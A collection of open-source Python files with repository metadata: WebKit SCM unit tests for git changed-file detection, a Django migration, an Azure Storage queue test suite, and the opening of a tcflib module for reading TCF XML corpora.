files = self.scm.changed_files('trunk..')
self.assertIn('test_file_commit1', files)
self.assertNotIn('test_file_commit2', files)
# working copy *should* be in the list.
files = self.scm.changed_files('trunk....')
self.assertIn('test_file_commit1', files)
self.assertIn('test_file_commit2', files)
def test_changed_files_git_commit(self):
self._two_local_commits()
files = self.scm.changed_files(git_commit="HEAD^")
self.assertIn('test_file_commit1', files)
self.assertNotIn('test_file_commit2', files)
def test_changed_files_git_commit_range(self):
self._three_local_commits()
files = self.scm.changed_files(git_commit="HEAD~2..HEAD")
self.assertNotIn('test_file_commit0', files)
self.assertIn('test_file_commit1', files)
self.assertIn('test_file_commit2', files)
def test_changed_files_working_copy_only(self):
self._one_local_commit_plus_working_copy_changes()
files = self.scm.changed_files(git_commit="HEAD....")
self.assertNotIn('test_file_commit1', files)
self.assertIn('test_file_commit2', files)
def test_changed_files_multiple_local_commits(self):
self._two_local_commits()
files = self.scm.changed_files()
self.assertIn('test_file_commit2', files)
self.assertIn('test_file_commit1', files)
def test_changed_files_not_synced(self):
self._run(['git', 'checkout', '-b', 'my-branch', 'trunk~3'])
self._two_local_commits()
files = self.scm.changed_files()
self.assertNotIn('test_file2', files)
self.assertIn('test_file_commit2', files)
self.assertIn('test_file_commit1', files)
def test_changed_files_upstream(self):
self._run(['git', 'checkout', '-t', '-b', 'my-branch'])
self._one_local_commit()
self._run(['git', 'checkout', '-t', '-b', 'my-second-branch'])
self._second_local_commit()
self._write_text_file('test_file_commit0', 'more test content')
self._run(['git', 'add', 'test_file_commit0'])
# equivalent to 'git diff my-branch..HEAD, should not include working changes
files = self.scm.changed_files(git_commit='UPSTREAM..')
self.assertNotIn('test_file_commit1', files)
self.assertIn('test_file_commit2', files)
self.assertNotIn('test_file_commit0', files)
# equivalent to 'git diff my-branch', *should* include working changes
files = self.scm.changed_files(git_commit='UPSTREAM....')
self.assertNotIn('test_file_commit1', files)
self.assertIn('test_file_commit2', files)
self.assertIn('test_file_commit0', files)
def test_add_recursively(self):
self._shared_test_add_recursively()
def test_delete(self):
self._two_local_commits()
self.scm.delete('test_file_commit1')
self.assertIn("test_file_commit1", self.scm._deleted_files())
def test_delete_list(self):
self._two_local_commits()
self.scm.delete_list(["test_file_commit1", "test_file_commit2"])
self.assertIn("test_file_commit1", self.scm._deleted_files())
self.assertIn("test_file_commit2", self.scm._deleted_files())
def test_delete_recursively(self):
self._shared_test_delete_recursively()
def test_delete_recursively_or_not(self):
self._shared_test_delete_recursively_or_not()
def test_move(self):
self._shared_test_move()
def test_move_recursive(self):
self._shared_test_move_recursive()
def test_exists(self):
self._shared_test_exists(self.scm, self.scm.commit_locally_with_message)
class GitTestWithMock(SCMTestBase):
def make_scm(self):
scm = Git(cwd=".", executive=MockExecutive(), filesystem=MockFileSystem())
scm.read_git_config = lambda *args, **kw: "MOCKKEY:MOCKVALUE"
return scm
def test_timestamp_of_revision(self):
scm = self.make_scm()
scm.find_checkout_root = lambda path: ''
scm._run_git = lambda args: 'Date: 2013-02-08 08:05:49 +0000'
self.assertEqual(scm.timestamp_of_revision('some-path', '12345'), '2013-02-08T08:05:49Z')
scm._run_git = lambda args: 'Date: 2013-02-08 01:02:03 +0130'
self.assertEqual(scm.timestamp_of_revision('some-path', '12345'), '2013-02-07T23:32:03Z')
scm._run_git = lambda args: 'Date: 2013-02-08 01:55:21 -0800'
self.assertEqual(scm.timestamp_of_revision('some-path', '12345'), '2013-02-08T09:55:21Z')
| {
"content_hash": "95cd95204597c3e2392d515b08f55e3d",
"timestamp": "",
"source": "github",
"line_count": 673,
"max_line_length": 117,
"avg_line_length": 42.13670133729569,
"alnum_prop": 0.6381620706678891,
"repo_name": "xin3liang/platform_external_chromium_org_third_party_WebKit",
"id": "67b59eb3005294268f5b2a2bc763873c45e77b21",
"size": "30016",
"binary": false,
"copies": "4",
"ref": "refs/heads/master",
"path": "Tools/Scripts/webkitpy/common/checkout/scm/scm_unittest.py",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "Assembly",
"bytes": "14584"
},
{
"name": "C",
"bytes": "1474298"
},
{
"name": "C++",
"bytes": "40172832"
},
{
"name": "CSS",
"bytes": "381605"
},
{
"name": "Java",
"bytes": "66510"
},
{
"name": "JavaScript",
"bytes": "9259993"
},
{
"name": "Objective-C",
"bytes": "23525"
},
{
"name": "Objective-C++",
"bytes": "377761"
},
{
"name": "PHP",
"bytes": "3941"
},
{
"name": "Perl",
"bytes": "492247"
},
{
"name": "Python",
"bytes": "3698359"
},
{
"name": "Ruby",
"bytes": "141818"
},
{
"name": "Shell",
"bytes": "8806"
}
],
"symlink_target": ""
} |
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('transactions', '0002_auto_20150330_2148'),
]
operations = [
migrations.AddField(
model_name='onchaintransaction',
name='is_deposit',
field=models.BooleanField(db_index=True, default=False),
preserve_default=True,
),
migrations.AddField(
model_name='onchaintransaction',
name='is_withdrawal',
field=models.BooleanField(db_index=True, default=False),
preserve_default=True,
),
]
| {
"content_hash": "a537a385e31a50e4fa10dffd1ff25c3f",
"timestamp": "",
"source": "github",
"line_count": 25,
"max_line_length": 68,
"avg_line_length": 26.92,
"alnum_prop": 0.5958395245170877,
"repo_name": "ychaim/explorer",
"id": "4dce98790e81b24b1e85186264ffef0278e957fb",
"size": "697",
"binary": false,
"copies": "3",
"ref": "refs/heads/master",
"path": "transactions/migrations/0003_auto_20150424_1915.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "8295"
},
{
"name": "HTML",
"bytes": "90178"
},
{
"name": "JavaScript",
"bytes": "5588"
},
{
"name": "Python",
"bytes": "144125"
}
],
"symlink_target": ""
} |
# coding: utf-8
#-------------------------------------------------------------------------
# Copyright (c) Microsoft. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#--------------------------------------------------------------------------
import unittest
from datetime import datetime, timedelta
from azure.storage import (
AccessPolicy,
ResourceTypes,
AccountPermissions,
)
from azure.storage.queue import (
QueueService,
QueuePermissions,
)
from azure.common import (
AzureHttpError,
AzureConflictHttpError,
AzureMissingResourceHttpError,
)
from tests.testcase import (
StorageTestCase,
TestMode,
record,
)
#------------------------------------------------------------------------------
TEST_QUEUE_PREFIX = 'queue'
#------------------------------------------------------------------------------
class StorageQueueTest(StorageTestCase):
def setUp(self):
super(StorageQueueTest, self).setUp()
self.qs = self._create_storage_service(QueueService, self.settings)
self.test_queues = []
def tearDown(self):
if not self.is_playback():
for queue_name in self.test_queues:
try:
self.qs.delete_queue(queue_name)
except:
pass
return super(StorageQueueTest, self).tearDown()
#--Helpers-----------------------------------------------------------------
def _get_queue_reference(self, prefix=TEST_QUEUE_PREFIX):
queue_name = self.get_resource_name(prefix)
self.test_queues.append(queue_name)
return queue_name
def _create_queue(self, prefix=TEST_QUEUE_PREFIX):
queue_name = self._get_queue_reference(prefix)
self.qs.create_queue(queue_name)
return queue_name
#--Test cases for containers ----------------------------------------------
@record
def test_create_queue(self):
# Action
queue_name = self._get_queue_reference()
self.qs.create_queue(queue_name)
metadata = self.qs.get_queue_metadata(queue_name)
# Asserts
self.assertEqual(0, len(metadata))
self.assertEqual(0, metadata.approximate_message_count)
@record
def test_create_queue_already_exist(self):
# Action
queue_name = self._get_queue_reference()
created1 = self.qs.create_queue(queue_name)
created2 = self.qs.create_queue(queue_name)
# Asserts
self.assertTrue(created1)
self.assertFalse(created2)
@record
def test_create_queue_fail_on_exist(self):
# Action
queue_name = self._get_queue_reference()
created = self.qs.create_queue(queue_name, None, True)
with self.assertRaises(AzureConflictHttpError):
self.qs.create_queue(queue_name, None, True)
# Asserts
self.assertTrue(created)
@record
def test_create_queue_with_options(self):
# Action
queue_name = self._get_queue_reference()
self.qs.create_queue(
queue_name,
metadata={'val1': 'test', 'val2': 'blah'})
metadata = self.qs.get_queue_metadata(queue_name)
# Asserts
self.assertEqual(0, metadata.approximate_message_count)
self.assertEqual(2, len(metadata))
self.assertEqual('test', metadata['val1'])
self.assertEqual('blah', metadata['val2'])
@record
def test_delete_queue_not_exist(self):
# Action
queue_name = self._get_queue_reference()
deleted = self.qs.delete_queue(queue_name)
# Asserts
self.assertFalse(deleted)
@record
def test_delete_queue_fail_not_exist_not_exist(self):
# Action
queue_name = self._get_queue_reference()
with self.assertRaises(AzureMissingResourceHttpError):
self.qs.delete_queue(queue_name, True)
# Asserts
@record
def test_delete_queue_fail_not_exist_already_exist(self):
# Action
queue_name = self._get_queue_reference()
created = self.qs.create_queue(queue_name)
deleted = self.qs.delete_queue(queue_name, True)
# Asserts
self.assertTrue(created)
self.assertTrue(deleted)
@record
def test_list_queues(self):
# Action
queues = list(self.qs.list_queues())
# Asserts
self.assertIsNotNone(queues)
self.assertTrue(len(self.test_queues) <= len(queues))
@record
def test_list_queues_with_options(self):
# Arrange
prefix = 'listqueue'
for i in range(0, 4):
self._create_queue(prefix + str(i))
# Action
generator1 = self.qs.list_queues(prefix=prefix, num_results=3)
queues1 = list(generator1)
generator2 = self.qs.list_queues(
prefix=TEST_QUEUE_PREFIX,
marker=generator1.next_marker,
include_metadata=True)
queues2 = list(generator2)
# Asserts
self.assertIsNotNone(queues1)
self.assertEqual(3, len(queues1))
self.assertIsNotNone(queues1[0])
self.assertIsNone(queues1[0].metadata)
self.assertNotEqual('', queues1[0].name)
# Asserts
self.assertIsNotNone(queues2)
self.assertTrue(len(self.test_queues) - 3 <= len(queues2))
self.assertIsNotNone(queues2[0])
self.assertIsNotNone(queues2[0].metadata)
self.assertNotEqual('', queues2[0].name)
@record
def test_list_queues_with_metadata(self):
# Action
queue_name = self._create_queue()
self.qs.set_queue_metadata(
queue_name,
metadata={'val1': 'test', 'val2': 'blah'})
queue = list(self.qs.list_queues(queue_name, num_results=1, include_metadata=True))[0]
# Asserts
self.assertIsNotNone(queue)
self.assertEqual(queue_name, queue.name)
self.assertIsNotNone(queue.metadata)
self.assertEqual(len(queue.metadata), 2)
self.assertEqual(queue.metadata['val1'], 'test')
@record
def test_set_queue_metadata(self):
# Action
queue_name = self._create_queue()
self.qs.set_queue_metadata(
queue_name,
metadata={'val1': 'test', 'val2': 'blah'})
metadata = self.qs.get_queue_metadata(queue_name)
# Asserts
self.assertEqual(0, metadata.approximate_message_count)
self.assertEqual(2, len(metadata))
self.assertEqual('test', metadata['val1'])
self.assertEqual('blah', metadata['val2'])
@record
def test_get_queue_metadata_message_count(self):
# Action
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
metadata = self.qs.get_queue_metadata(queue_name)
# Asserts
self.assertTrue(metadata.approximate_message_count >= 1)
self.assertEqual(0, len(metadata))
@record
def test_queue_exists(self):
# Arrange
queue_name = self._create_queue()
# Act
exists = self.qs.exists(queue_name)
# Assert
self.assertTrue(exists)
@record
def test_queue_not_exists(self):
# Arrange
# Act
exists = self.qs.exists(self.get_resource_name('missing'))
# Assert
self.assertFalse(exists)
@record
def test_put_message(self):
# Action. No exception means pass. No asserts needed.
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
self.qs.put_message(queue_name, u'message2')
self.qs.put_message(queue_name, u'message3')
self.qs.put_message(queue_name, u'message4')
@record
def test_get_messages(self):
# Action
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
self.qs.put_message(queue_name, u'message2')
self.qs.put_message(queue_name, u'message3')
self.qs.put_message(queue_name, u'message4')
result = self.qs.get_messages(queue_name)
# Asserts
self.assertIsNotNone(result)
self.assertEqual(1, len(result))
message = result[0]
self.assertIsNotNone(message)
self.assertNotEqual('', message.id)
self.assertEqual(u'message1', message.content)
self.assertNotEqual('', message.pop_receipt)
self.assertEqual('1', message.dequeue_count)
self.assertIsInstance(message.insertion_time, datetime)
self.assertIsInstance(message.expiration_time, datetime)
self.assertIsInstance(message.time_next_visible, datetime)
@record
def test_get_messages_with_options(self):
# Action
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
self.qs.put_message(queue_name, u'message2')
self.qs.put_message(queue_name, u'message3')
self.qs.put_message(queue_name, u'message4')
result = self.qs.get_messages(
queue_name, num_messages=4, visibility_timeout=20)
# Asserts
self.assertIsNotNone(result)
self.assertEqual(4, len(result))
for message in result:
self.assertIsNotNone(message)
self.assertNotEqual('', message.id)
self.assertNotEqual('', message.content)
self.assertNotEqual('', message.pop_receipt)
self.assertEqual('1', message.dequeue_count)
self.assertNotEqual('', message.insertion_time)
self.assertNotEqual('', message.expiration_time)
self.assertNotEqual('', message.time_next_visible)
@record
def test_peek_messages(self):
# Action
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
self.qs.put_message(queue_name, u'message2')
self.qs.put_message(queue_name, u'message3')
self.qs.put_message(queue_name, u'message4')
result = self.qs.peek_messages(queue_name)
# Asserts
self.assertIsNotNone(result)
self.assertEqual(1, len(result))
message = result[0]
self.assertIsNotNone(message)
self.assertNotEqual('', message.id)
self.assertNotEqual('', message.content)
self.assertIsNone(message.pop_receipt)
self.assertEqual('0', message.dequeue_count)
self.assertNotEqual('', message.insertion_time)
self.assertNotEqual('', message.expiration_time)
self.assertIsNone(message.time_next_visible)
@record
def test_peek_messages_with_options(self):
# Action
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
self.qs.put_message(queue_name, u'message2')
self.qs.put_message(queue_name, u'message3')
self.qs.put_message(queue_name, u'message4')
result = self.qs.peek_messages(queue_name, num_messages=4)
# Asserts
self.assertIsNotNone(result)
self.assertEqual(4, len(result))
for message in result:
self.assertIsNotNone(message)
self.assertNotEqual('', message.id)
self.assertNotEqual('', message.content)
self.assertIsNone(message.pop_receipt)
self.assertEqual('0', message.dequeue_count)
self.assertNotEqual('', message.insertion_time)
self.assertNotEqual('', message.expiration_time)
self.assertIsNone(message.time_next_visible)
@record
def test_clear_messages(self):
# Action
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
self.qs.put_message(queue_name, u'message2')
self.qs.put_message(queue_name, u'message3')
self.qs.put_message(queue_name, u'message4')
self.qs.clear_messages(queue_name)
result = self.qs.peek_messages(queue_name)
# Asserts
self.assertIsNotNone(result)
self.assertEqual(0, len(result))
@record
def test_delete_message(self):
# Action
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
self.qs.put_message(queue_name, u'message2')
self.qs.put_message(queue_name, u'message3')
self.qs.put_message(queue_name, u'message4')
result = self.qs.get_messages(queue_name)
self.qs.delete_message(
queue_name, result[0].id, result[0].pop_receipt)
result2 = self.qs.get_messages(queue_name, num_messages=32)
# Asserts
self.assertIsNotNone(result2)
self.assertEqual(3, len(result2))
@record
def test_update_message(self):
# Action
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
list_result1 = self.qs.get_messages(queue_name)
message = self.qs.update_message(queue_name,
list_result1[0].id,
list_result1[0].pop_receipt,
0)
list_result2 = self.qs.get_messages(queue_name)
# Asserts
# Update response
self.assertIsNotNone(message)
self.assertIsNotNone(message.pop_receipt)
self.assertIsNotNone(message.time_next_visible)
self.assertIsInstance(message.time_next_visible, datetime)
# Get response
self.assertIsNotNone(list_result2)
message = list_result2[0]
self.assertIsNotNone(message)
self.assertEqual(list_result1[0].id, message.id)
self.assertEqual(u'message1', message.content)
self.assertEqual('2', message.dequeue_count)
self.assertIsNotNone(message.pop_receipt)
self.assertIsNotNone(message.insertion_time)
self.assertIsNotNone(message.expiration_time)
self.assertIsNotNone(message.time_next_visible)
@record
def test_update_message_content(self):
# Action
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
list_result1 = self.qs.get_messages(queue_name)
message = self.qs.update_message(queue_name,
list_result1[0].id,
list_result1[0].pop_receipt,
0,
content=u'new text',)
list_result2 = self.qs.get_messages(queue_name)
# Asserts
# Update response
self.assertIsNotNone(message)
self.assertIsNotNone(message.pop_receipt)
self.assertIsNotNone(message.time_next_visible)
self.assertIsInstance(message.time_next_visible, datetime)
# Get response
self.assertIsNotNone(list_result2)
message = list_result2[0]
self.assertIsNotNone(message)
self.assertEqual(list_result1[0].id, message.id)
self.assertEqual(u'new text', message.content)
self.assertEqual('2', message.dequeue_count)
self.assertIsNotNone(message.pop_receipt)
self.assertIsNotNone(message.insertion_time)
self.assertIsNotNone(message.expiration_time)
self.assertIsNotNone(message.time_next_visible)
def test_account_sas(self):
# SAS URL is calculated from storage key, so this test runs live only
if TestMode.need_recordingfile(self.test_mode):
return
# Arrange
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
token = self.qs.generate_account_shared_access_signature(
ResourceTypes.OBJECT,
AccountPermissions.READ,
datetime.utcnow() + timedelta(hours=1),
datetime.utcnow() - timedelta(minutes=5)
)
# Act
service = QueueService(
account_name=self.settings.STORAGE_ACCOUNT_NAME,
sas_token=token,
)
self._set_service_options(service, self.settings)
result = service.peek_messages(queue_name)
# Assert
self.assertIsNotNone(result)
self.assertEqual(1, len(result))
message = result[0]
self.assertIsNotNone(message)
self.assertNotEqual('', message.id)
self.assertEqual(u'message1', message.content)
def test_sas_read(self):
# SAS URL is calculated from storage key, so this test runs live only
if TestMode.need_recordingfile(self.test_mode):
return
# Arrange
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
token = self.qs.generate_queue_shared_access_signature(
queue_name,
QueuePermissions.READ,
datetime.utcnow() + timedelta(hours=1),
datetime.utcnow() - timedelta(minutes=5)
)
# Act
service = QueueService(
account_name=self.settings.STORAGE_ACCOUNT_NAME,
sas_token=token,
)
self._set_service_options(service, self.settings)
result = service.peek_messages(queue_name)
# Assert
self.assertIsNotNone(result)
self.assertEqual(1, len(result))
message = result[0]
self.assertIsNotNone(message)
self.assertNotEqual('', message.id)
self.assertEqual(u'message1', message.content)
def test_sas_add(self):
# SAS URL is calculated from storage key, so this test runs live only
if TestMode.need_recordingfile(self.test_mode):
return
# Arrange
queue_name = self._create_queue()
token = self.qs.generate_queue_shared_access_signature(
queue_name,
QueuePermissions.ADD,
datetime.utcnow() + timedelta(hours=1),
)
# Act
service = QueueService(
account_name=self.settings.STORAGE_ACCOUNT_NAME,
sas_token=token,
)
self._set_service_options(service, self.settings)
result = service.put_message(queue_name, u'addedmessage')
# Assert
result = self.qs.get_messages(queue_name)
self.assertEqual(u'addedmessage', result[0].content)
def test_sas_update(self):
# SAS URL is calculated from storage key, so this test runs live only
if TestMode.need_recordingfile(self.test_mode):
return
# Arrange
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
token = self.qs.generate_queue_shared_access_signature(
queue_name,
QueuePermissions.UPDATE,
datetime.utcnow() + timedelta(hours=1),
)
result = self.qs.get_messages(queue_name)
# Act
service = QueueService(
account_name=self.settings.STORAGE_ACCOUNT_NAME,
sas_token=token,
)
self._set_service_options(service, self.settings)
service.update_message(
queue_name,
result[0].id,
result[0].pop_receipt,
visibility_timeout=0,
content=u'updatedmessage1',
)
# Assert
result = self.qs.get_messages(queue_name)
self.assertEqual(u'updatedmessage1', result[0].content)
def test_sas_process(self):
# SAS URL is calculated from storage key, so this test runs live only
if TestMode.need_recordingfile(self.test_mode):
return
# Arrange
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
token = self.qs.generate_queue_shared_access_signature(
queue_name,
QueuePermissions.PROCESS,
datetime.utcnow() + timedelta(hours=1),
)
# Act
service = QueueService(
account_name=self.settings.STORAGE_ACCOUNT_NAME,
sas_token=token,
)
self._set_service_options(service, self.settings)
result = service.get_messages(queue_name)
# Assert
self.assertIsNotNone(result)
self.assertEqual(1, len(result))
message = result[0]
self.assertIsNotNone(message)
self.assertNotEqual('', message.id)
self.assertEqual(u'message1', message.content)
def test_sas_signed_identifier(self):
# SAS URL is calculated from storage key, so this test runs live only
if TestMode.need_recordingfile(self.test_mode):
return
# Arrange
access_policy = AccessPolicy()
access_policy.start = '2011-10-11'
access_policy.expiry = '2018-10-12'
access_policy.permission = QueuePermissions.READ
identifiers = {'testid': access_policy}
queue_name = self._create_queue()
resp = self.qs.set_queue_acl(queue_name, identifiers)
self.qs.put_message(queue_name, u'message1')
token = self.qs.generate_queue_shared_access_signature(
queue_name,
id='testid'
)
# Act
service = QueueService(
account_name=self.settings.STORAGE_ACCOUNT_NAME,
sas_token=token,
)
self._set_service_options(service, self.settings)
result = service.peek_messages(queue_name)
# Assert
self.assertIsNotNone(result)
self.assertEqual(1, len(result))
message = result[0]
self.assertIsNotNone(message)
self.assertNotEqual('', message.id)
self.assertEqual(u'message1', message.content)
@record
def test_get_queue_acl(self):
# Arrange
queue_name = self._create_queue()
# Act
acl = self.qs.get_queue_acl(queue_name)
# Assert
self.assertIsNotNone(acl)
self.assertEqual(len(acl), 0)
@record
def test_get_queue_acl_iter(self):
# Arrange
queue_name = self._create_queue()
# Act
acl = self.qs.get_queue_acl(queue_name)
for signed_identifier in acl:
pass
# Assert
self.assertIsNotNone(acl)
self.assertEqual(len(acl), 0)
@record
def test_get_queue_acl_with_non_existing_queue(self):
# Arrange
queue_name = self._get_queue_reference()
# Act
with self.assertRaises(AzureMissingResourceHttpError):
self.qs.get_queue_acl(queue_name)
# Assert
@record
def test_set_queue_acl(self):
# Arrange
queue_name = self._create_queue()
# Act
resp = self.qs.set_queue_acl(queue_name)
# Assert
self.assertIsNone(resp)
acl = self.qs.get_queue_acl(queue_name)
self.assertIsNotNone(acl)
@record
def test_set_queue_acl_with_empty_signed_identifiers(self):
# Arrange
queue_name = self._create_queue()
# Act
resp = self.qs.set_queue_acl(queue_name, dict())
# Assert
self.assertIsNone(resp)
acl = self.qs.get_queue_acl(queue_name)
self.assertIsNotNone(acl)
self.assertEqual(len(acl), 0)
@record
def test_set_queue_acl_with_signed_identifiers(self):
# Arrange
queue_name = self._create_queue()
# Act
access_policy = AccessPolicy(permission=QueuePermissions.READ,
expiry='2011-10-12',
start='2011-10-11')
identifiers = {'testid': access_policy}
resp = self.qs.set_queue_acl(queue_name, identifiers)
# Assert
self.assertIsNone(resp)
acl = self.qs.get_queue_acl(queue_name)
self.assertIsNotNone(acl)
self.assertEqual(len(acl), 1)
self.assertTrue('testid' in acl)
@record
def test_set_queue_acl_with_non_existing_queue(self):
# Arrange
queue_name = self._get_queue_reference()
# Act
with self.assertRaises(AzureMissingResourceHttpError):
self.qs.set_queue_acl(queue_name)
# Assert
@record
def test_with_filter(self):
# Single filter
called = []
def my_filter(request, next):
called.append(True)
return next(request)
qc = self.qs.with_filter(my_filter)
queue_name = self._create_queue()
qc.put_message(queue_name, u'message1')
self.assertTrue(called)
del called[:]
# Chained filters
def filter_a(request, next):
called.append('a')
return next(request)
def filter_b(request, next):
called.append('b')
return next(request)
qc = self.qs.with_filter(filter_a).with_filter(filter_b)
qc.put_message(queue_name, u'message1')
self.assertEqual(called, ['b', 'a'])
@record
def test_unicode_create_queue_unicode_name(self):
# Action
queue_name = u'啊齄丂狛狜'
with self.assertRaises(AzureHttpError):
# not supported - queue name must be alphanumeric, lowercase
self.qs.create_queue(queue_name)
# Asserts
@record
def test_unicode_get_messages_unicode_data(self):
# Action
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1㚈')
result = self.qs.get_messages(queue_name)
# Asserts
self.assertIsNotNone(result)
self.assertEqual(1, len(result))
message = result[0]
self.assertIsNotNone(message)
self.assertNotEqual('', message.id)
self.assertEqual(u'message1㚈', message.content)
self.assertNotEqual('', message.pop_receipt)
self.assertEqual('1', message.dequeue_count)
self.assertNotEqual('', message.insertion_time)
self.assertNotEqual('', message.expiration_time)
self.assertNotEqual('', message.time_next_visible)
@record
def test_unicode_update_message_unicode_data(self):
# Action
queue_name = self._create_queue()
self.qs.put_message(queue_name, u'message1')
list_result1 = self.qs.get_messages(queue_name)
self.qs.update_message(queue_name,
list_result1[0].id,
list_result1[0].pop_receipt,
content=u'啊齄丂狛狜',
visibility_timeout=0)
list_result2 = self.qs.get_messages(queue_name)
# Asserts
self.assertIsNotNone(list_result2)
message = list_result2[0]
self.assertIsNotNone(message)
self.assertNotEqual('', message.id)
self.assertEqual(u'啊齄丂狛狜', message.content)
self.assertNotEqual('', message.pop_receipt)
self.assertEqual('2', message.dequeue_count)
self.assertNotEqual('', message.insertion_time)
self.assertNotEqual('', message.expiration_time)
self.assertNotEqual('', message.time_next_visible)
#------------------------------------------------------------------------------
if __name__ == '__main__':
unittest.main()
| {
"content_hash": "7b1913c2013d2ac92bde2e50baf578c8",
"timestamp": "",
"source": "github",
"line_count": 825,
"max_line_length": 94,
"avg_line_length": 33.28,
"alnum_prop": 0.5956439393939394,
"repo_name": "jehine-MSFT/azure-storage-python",
"id": "54bf976dd5583ad9325465c63fc581a5ae63c67b",
"size": "27492",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "tests/test_queue.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Batchfile",
"bytes": "1242"
},
{
"name": "Python",
"bytes": "739574"
}
],
"symlink_target": ""
} |
"""
This module provides an API for TCF documents.
"""
from collections import UserList, UserDict, OrderedDict
from itertools import chain, product
from warnings import warn
import logging
from lxml import etree
try:
import igraph
except:
pass
from tcflib.tagsets import TagSet
NS_DATA = 'http://www.dspin.de/data'
P_DATA = '{' + NS_DATA + '}'
NS_TEXT = 'http://www.dspin.de/data/textcorpus'
P_TEXT = '{' + NS_TEXT + '}'
NS = {'data': NS_DATA, 'text': NS_TEXT}
UNKNOWN_LEMMAS = ['<unknown>']
class AnnotationLayerBase:
"""Base class for annotation layers."""
element = ''
def __init__(self, initialdata=None):
#: The corpus this layer belongs to.
self.corpus = None
#: The parent layer, in case of nested layers.
self.parent = None
@property
def tcf(self):
"""Return the layer as an `etree.Element`."""
elem = etree.Element(P_TEXT + self.element, nsmap={None: NS_TEXT})
for child in self:
elem.append(child.tcf)
return elem
def append(self, item):
item.parent = self
if hasattr(item, 'corpus'):
# Item is an AnnotationLayer itself
item.corpus = self.corpus
class AnnotationLayer(AnnotationLayerBase, UserList):
"""Annotation layer that acts like a list of Annotations."""
def __init__(self, initialdata=None):
AnnotationLayerBase.__init__(self)
UserList.__init__(self, initialdata)
def append(self, item):
AnnotationLayerBase.append(self, item)
self.data.append(item)
class AnnotationLayerWithIDs(AnnotationLayerBase, UserDict):
"""Annotation layer that holds IDs of annotations.
This class acts like a hybrid of a list and a dict: It can be used like a
list, e.g. it has an `append` method and it iterates over its values. But
its items can also be set and retrieved using annotation IDs with dict-
like element access.
"""
def __init__(self, initialdata=None):
AnnotationLayerBase.__init__(self)
self.data = OrderedDict()
if initialdata:
self.data.update(initialdata)
def __iter__(self):
return iter(self.data.values())
def __setitem__(self, key, item):
AnnotationLayerBase.append(self, item)
if key is None:
# When reading a file that has no IDs set,
# behave like appending an element.
# FIXME: This alters the input structure,
# as it inserts previously absent IDs.
self.append(item)
else:
item.id = key
self.data[key] = item
def keys(self):
return self.data.keys()
def append(self, item, n=None):
AnnotationLayerBase.append(self, item)
if not item.id:
if n is None:
n = len(self.data)
key = '{}_{}'.format(item.prefix, n)
item.id = key
self.data[item.id] = item
class AnnotationElement:
"""Base class for annotation elements."""
element = ''
prefix = 'x'
def __init__(self, *, tokens=None):
#: The annotation layer the element belongs to.
self.parent = None
self.id = None
self.tokens = tokens or []
@property
def tcf(self):
"""Return the element as an `etree.Element`."""
element = etree.Element(P_TEXT + self.element)
if self.id is not None:
element.set('ID', self.id)
if self.tokens:
element.set('tokenIDs',
' '.join([token.id for token in self.tokens]))
return element
class TokenList(UserList):
"""Proxy token list that sets token attributes.
Used for token lists of `AnnotationElement`s that maintain a relation
between the element and the token. E.g., appending a token to
`reference.tokens` should set the token’s `reference` attribute.
"""
token_attrib = None
annotation_elem = None
def __init__(self, initialdata=None):
super().__init__(initialdata)
if initialdata:
for token in initialdata:
setattr(token, self.token_attrib, self.annotation_elem)
def append(self, token):
super().append(token)
setattr(token, self.token_attrib, self.annotation_elem)
class TextCorpus:
"""
The main class that represents a TextCorpus.
A TextCorpus consists of a series of AnnotationLayers.
:param input_data: The XML input.
:type input_data: str or None
:param layers: A list of layers that should be parsed.
:type layers: list or None
"""
def __init__(self, input_data=None, *, layers=None):
self.new_layers = []
# Parse input data.
if not input_data:
logging.debug('Creating new TextCorpus.')
input_data = """
<D-Spin xmlns="http://www.dspin.de/data" version="0.4">
<MetaData xmlns="http://www.dspin.de/data/metadata">
<source/>
<Services/>
</MetaData>
<TextCorpus xmlns="http://www.dspin.de/data/textcorpus" lang="de"/>
</D-Spin>
"""
parser = etree.XMLParser(remove_blank_text=True)
logging.debug('Parsing input data.')
root = etree.fromstring(input_data, parser=parser)
self._tree = etree.ElementTree(root)
corpus_elem = self.tree.xpath('/data:D-Spin/text:TextCorpus',
namespaces=NS)[0]
self.lang = corpus_elem.get('lang')
if layers:
layer_elems = [corpus_elem.find(P_TEXT + layer) for layer in layers]
else:
layer_elems = corpus_elem
for layer_elem in layer_elems:
tag = etree.QName(layer_elem).localname
if tag == 'text':
logging.debug('Reading layer "{}".'.format(tag))
self.add_layer(Text(layer_elem.text))
elif tag == 'tokens':
logging.debug('Reading layer "{}".'.format(tag))
self.add_layer(Tokens())
for token_elem in layer_elem:
self.tokens[token_elem.get('ID')] = Token(token_elem.text)
elif tag == 'sentences':
logging.debug('Reading layer "{}".'.format(tag))
self.add_layer(Sentences())
for sentence_elem in layer_elem:
sentence = Sentence()
sentence.tokens = [self.tokens[key] for key in
sentence_elem.get('tokenIDs').split()]
self.sentences[sentence_elem.get('ID')] = sentence
